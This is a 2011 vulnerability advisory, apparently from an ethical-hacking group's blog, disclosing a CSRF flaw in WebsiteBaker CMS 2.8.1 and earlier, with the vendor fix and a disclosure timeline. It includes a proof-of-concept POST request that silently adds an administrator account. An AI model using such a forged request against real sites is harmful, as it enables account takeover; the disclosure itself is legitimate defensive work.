Saturday, August 13, 2011

WebsiteBaker 2.8.1 <= Cross Site Request Forgery (CSRF) Vulnerability


1. OVERVIEW

WebsiteBaker 2.8.1 and lower versions are vulnerable to Cross Site Request Forgery (CSRF).


2. BACKGROUND

WebsiteBaker is a PHP-based Content Management System (CMS) designed with one goal in mind: to enable its users to produce websites with ease.


3. VULNERABILITY DESCRIPTION

WebsiteBaker 2.8.1 and lower versions contain a flaw that allows a remote Cross-site Request Forgery (CSRF / XSRF) attack. The flaw exists because the application does not require multiple steps or explicit confirmation for sensitive transactions for majority of administrator functions such as adding new user. By using a crafted URL, an attacker may trick the victim into visiting to his web page to take advantage of the trust relationship between the authenticated victim and the application. Such an attack could trick the victim into executing arbitrary commands in the context of their session with the application, without further prompting or verification.


4. VERSIONS AFFECTED

2.8.1 <=


5. PROOF-OF-CONCEPT/EXPLOIT

The following request adds an administrator.

[REQUEST]
POST /admin/users/add.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 193

user_id=&username_fieldname=username_abcdefg&username_abcdefg=test&password=test&password2=test&display_name=test&email=tester%40yehg.net&home_folder=&groups%5B%5D=1&active%5B%5D=1&submit=Add
[/REQUEST]


6. SOLUTION

Upgrade to 2.8.2 or higher


7. VENDOR

WebsiteBaker Org e. V.
http://www.websitebaker2.org/


8. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2011-01-26: notified vendor 
2011-08-01: vendor released fix
2011-08-13: vulnerability disclosed


10. REFERENCES

Original Advisory URL: http://yehg.net/lab/pr0js/advisories/[websitebaker-2.8.1]_cross_site_request_forgery


#yehg [2011-08-13]